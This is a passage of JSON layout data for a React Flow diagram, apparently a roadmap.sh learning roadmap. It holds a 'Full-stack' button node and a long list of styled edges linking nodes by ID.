\"width\": 158,\n      \"height\": 49,\n      \"id\": \"9LKa-YjOMtO1j62Ukt0q0\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": -33.09789095083502,\n        \"y\": 2375.0342525701326\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Full-stack\",\n        \"href\": \"https://roadmap.sh/full-stack\",\n        \"color\": \"#FFFFFf\",\n        \"backgroundColor\": \"#4136D4\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"borderColor\": \"#4136D4\",\n        \"oldId\": \"uSLzfLPXxS5-P7ozscvjZ\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -33.09789095083502,\n        \"y\": 2375.0342525701326\n      },\n      \"style\": {\n        \"width\": 158,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 158,\n        \"height\": 49\n      }\n    }\n  ],\n  \"edges\": [\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"m1wX27XBWKXZcTMH2U1xp\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"Zja25damM2vXMOYCyRZiq\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-wruw4qef0bf74oiA5JqHoz2-Zja25damM2vXMOYCyRZiqy1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"m1wX27XBWKXZcTMH2U1xp\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"1976f2-opqLqV4ImPJlt0\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-wruw4qef0bf74oiA5JqHoz2-1976f2-opqLqV4ImPJlt0y1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"m1wX27XBWKXZcTMH2U1xp\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"JInFH3JRvAxjvpIFKjUiP\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-wruw4qef0bf74oiA5JqHoy2-JInFH3JRvAxjvpIFKjUiPz1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"m1wX27XBWKXZcTMH2U1xp\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"vZv4Ow5bg_PbKoF557G9S\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-wruw4qef0bf74oiA5JqHoy2-vZv4Ow5bg_PbKoF557G9Sz2\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"m1wX27XBWKXZcTMH2U1xp\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"uFOVuenPyOKZGgoJXkwRZ\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-wruw4qef0bf74oiA5JqHoy2-uFOVuenPyOKZGgoJXkwRZz1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"iogwMmOvub2ZF4zgg6WyF\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"m1wX27XBWKXZcTMH2U1xp\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-iogwMmOvub2ZF4zgg6WyFx2-wruw4qef0bf74oiA5JqHow1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"gQLbDFP00itL260i1BiDe\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"o4xmFhw_ilWdhpCiEotck\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-gQLbDFP00itL260i1BiDez2-o4xmFhw_ilWdhpCiEotcky1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"m1wX27XBWKXZcTMH2U1xp\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"Pb3QkhSCgRByJHuPxVAlU\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"selected\": true,\n      \"id\": \"reactflow__edge-m1wX27XBWKXZcTMH2U1xpx2-wruw4qef0bf74oiA5JqHow2\",\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Pb3QkhSCgRByJHuPxVAlU\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"47NXgbc1OTGE06qXxlQoh\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"selected\": true,\n      \"id\": \"reactflow__edge-wruw4qef0bf74oiA5JqHoy2-47NXgbc1OTGE06qXxlQohz2\",\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Pb3QkhSCgRByJHuPxVAlU\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"daUEq4xlh4PIltSdiD4F2\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-wruw4qef0bf74oiA5JqHox2-SlUBbzLALC0FpwST6GeI4w1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"daUEq4xlh4PIltSdiD4F2\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"2U8WRKkuF-YCEWtpgTspF\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-SlUBbzLALC0FpwST6GeI4y2-2U8WRKkuF-YCEWtpgTspFz1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"daUEq4xlh4PIltSdiD4F2\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"ELnCFVRkO_s5qI_3Yzf5U\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-SlUBbzLALC0FpwST6GeI4y2-ELnCFVRkO_s5qI_3Yzf5Uz1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"daUEq4xlh4PIltSdiD4F2\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"RD0vRC-OL2ReYLT1leJMs\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-SlUBbzLALC0FpwST6GeI4y2-RD0vRC-OL2ReYLT1leJMsz1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"daUEq4xlh4PIltSdiD4F2\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"vP76hqx-8Pri7sxdJDGV5\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-SlUBbzLALC0FpwST6GeI4y2-vP76hqx-8Pri7sxdJDGV5z1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"daUEq4xlh4PIltSdiD4F2\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"gxn-m-4pDAD2J6406pbs8\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-mPaMQ5h8ZcXKOfcuSwB2-x2-osbnWTmcAcz1wnu0B1_Uqw1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"gxn-m-4pDAD2J6406pbs8\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"hU5OCnEe3tG206xuGsVFd\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-osbnWTmcAcz1wnu0B1_Uqz2-mPaMQ5h8ZcXKOfcuSwB2-y1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"gxn-m-4pDAD2J6406pbs8\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"mPaMQ5h8ZcXKOfcuSwB2-\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-osbnWTmcAcz1wnu0B1_Uqy2-mPaMQ5h8ZcXKOfcuSwB2-z1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"gxn-m-4pDAD2J6406pbs8\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"FV7PKwt5KWIdERpQFAi-2\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-I3uPnYK5vO5YELICtDsmux2-osbnWTmcAcz1wnu0B1_Uqw1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"FV7PKwt5KWIdERpQFAi-2\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"mmDIqSD6MU3ZhWREGI5E2\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-FV7PKwt5KWIdERpQFAi-2x2-mmDIqSD6MU3ZhWREGI5E2w1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"a4N9onrJn6bey5bVwCRAO\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"wTfvbS62eyitDT8pLsVhj\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-a4N9onrJn6bey5bVwCRAOx2-wsJXMvRbOTh_VXKhmhPmQz1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"wTfvbS62eyitDT8pLsVhj\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"wsJXMvRbOTh_VXKhmhPmQ\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"selected\": true,\n      \"id\": \"reactflow__edge-wTfvbS62eyitDT8pLsVhjz2-wsJXMvRbOTh_VXKhmhPmQy1\",\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"wsJXMvRbOTh_VXKhmhPmQ\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"G-F6jQTOAZ2kQ36F-VrBB\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-wsJXMvRbOTh_VXKhmhPmQz2-Pm-Wx7Z3jCUFcafetsQYiy1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"G-F6jQTOAZ2kQ36F-VrBB\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"rFjtp3-cnaUmHiKfjPZBn\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-Pm-Wx7Z3jCUFcafetsQYiz2-rFjtp3-cnaUmHiKfjPZBnw1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"G-F6jQTOAZ2kQ36F-VrBB\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"MyAAsHteSr4JCPEpqjsy9\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-G-F6jQTOAZ2kQ36F-VrBBx2-Pm-Wx7Z3jCUFcafetsQYiw1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"MyAAsHteSr4JCPEpqjsy9\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"jaHOo-vZGjTnABxQKMT3_\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-Pm-Wx7Z3jCUFcafetsQYiz2-jaHOo-vZGjTnABxQKMT3_y2\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"MyAAsHteSr4JCPEpqjsy9\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"o4nkmhEDGwi8yE6DSwZi5\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-Pm-Wx7Z3jCUFcafetsQYiz2-o4nkmhEDGwi8yE6DSwZi5y1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"MyAAsHteSr4JCPEpqjsy9\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"5bNdrymdzqL0VbTqWt8r2\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-Pm-Wx7Z3jCUFcafetsQYiz2-5bNdrymdzqL0VbTqWt8r2y1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"MyAAsHteSr4JCPEpqjsy9\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"pJvijtG-a0vOq16EFu3Gr\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-MyAAsHteSr4JCPEpqjsy9y2-Pm-Wx7Z3jCUFcafetsQYiz1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"pJvijtG-a0vOq16EFu3Gr\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"QnNUZQlQ2Jhv34daeIuW8\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-Pm-Wx7Z3jCUFcafetsQYiy2-QnNUZQlQ2Jhv34daeIuW8z1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"pJvijtG-a0vOq16EFu3Gr\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"iceaqeXRYXoGtagWn_B7b\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-Pm-Wx7Z3jCUFcafetsQYiy2-iceaqeXRYXoGtagWn_B7bz1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"pJvijtG-a0vOq16EFu3Gr\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"DCZyXcx8H2MTPcyKOhn2_\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-Pm-Wx7Z3jCUFcafetsQYiy2-DCZyXcx8H2MTPcyKOhn2_z1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"pJvijtG-a0vOq16EFu3Gr\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"Y2I_dcVZb4xZremXoajjx\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-Pm-Wx7Z3jCUFcafetsQYiy2-Y2I_dcVZb4xZremXoajjxz2\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"pJvijtG-a0vOq16EFu3Gr\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"DJDegO78Elo83eHjq8IHN\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-Pm-Wx7Z3jCUFcafetsQYiy2-DJDegO78Elo83eHjq8IHNz2\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"pJvijtG-a0vOq16EFu3Gr\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"8CztIu0BOPZZRZsqR9asW\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-Pm-Wx7Z3jCUFcafetsQYiy2-8CztIu0BOPZZRZsqR9asWz2\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"pJvijtG-a0vOq16EFu3Gr\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"H-2wWlKxD_Q1xVv99GlBj\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-Pm-Wx7Z3jCUFcafetsQYiy2-H-2wWlKxD_Q1xVv99GlBjz1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"pJvijtG-a0vOq16EFu3Gr\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"s8o5fXu3XHrMduh8snLwu\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-pJvijtG-a0vOq16EFu3Grx2-Pm-Wx7Z3jCUFcafetsQYiw1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"s8o5fXu3XHrMduh8snLwu\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"WrqKdOTRUiOnc1aIhTZeB\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-Pm-Wx7Z3jCUFcafetsQYiz2-WrqKdOTRUiOnc1aIhTZeBy1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"s8o5fXu3XHrMduh8snLwu\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"M6v8VUpVtw5blU2gi4F2r\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-s8o5fXu3XHrMduh8snLwux2-Pm-Wx7Z3jCUFcafetsQYiw1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"M6v8VUpVtw5blU2gi4F2r\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"-n2yAprKdWg3YVi2vp25d\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-XoYsStVqfMeCHkGBlbRhDz2-Pm-Wx7Z3jCUFcafetsQYiy2\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"-n2yAprKdWg3YVi2vp25d\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"k3TBVtepeQEGzKGceDkPJ\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-Pm-Wx7Z3jCUFcafetsQYix2-k3TBVtepeQEGzKGceDkPJw1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"-n2yAprKdWg3YVi2vp25d\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"Pm-Wx7Z3jCUFcafetsQYi\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge--n2yAprKdWg3YVi2vp25dy2-Pm-Wx7Z3jCUFcafetsQYiz1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Pm-Wx7Z3jCUFcafetsQYi\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"m0gT774b59xsSJKrrjTxq\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-Pm-Wx7Z3jCUFcafetsQYiy2-m0gT774b59xsSJKrrjTxqz2\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Pm-Wx7Z3jCUFcafetsQYi\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"D7zGshmgwqWluF-W7OTWe\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-Pm-Wx7Z3jCUFcafetsQYiy2-D7zGshmgwqWluF-W7OTWez2\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Pm-Wx7Z3jCUFcafetsQYi\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"JO--NVMs3saUNjh3mcd7z\",\n      \"targetHandle\": \"z2\",\n      \"data\": 